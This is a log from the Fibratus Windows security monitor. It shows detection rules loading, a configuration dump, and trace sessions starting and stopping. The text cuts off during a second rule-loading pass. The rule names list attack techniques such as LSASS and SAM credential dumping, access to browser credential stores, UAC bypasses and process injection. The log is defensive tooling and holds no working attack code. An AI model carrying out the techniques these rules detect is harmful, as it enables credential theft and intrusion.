C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:18:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:18:33+01:00 level=info msg=bootstrapping with pid 6240. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:18:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-audit-api=>true enable-net=>true buffer-size=>512 enable-fileio=>true enable-registry=>true enable-image=>true max-buffers=>36 flush-interval=>1s min-buffers=>16 enable-vamap=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-threadpool=>false enable-mem=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 log-stdout=>true formatter=>text max-age=>0] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ timeout=>5s serializer=>json enabled=>false method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ enabled=>false exchange=>fibratus exchange-type=>topic delivery-mode=>transient durable=>false passive=>false url=>amqp://localhost:5672 vhost=>/ timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false healthcheck-timeout=>5s sniff=>false flush-period=>1s enabled=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false fastscan=>true skip-files=>false skip-allocs=>false enabled=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:18:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:18:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:19:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:19:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:19:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:20:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 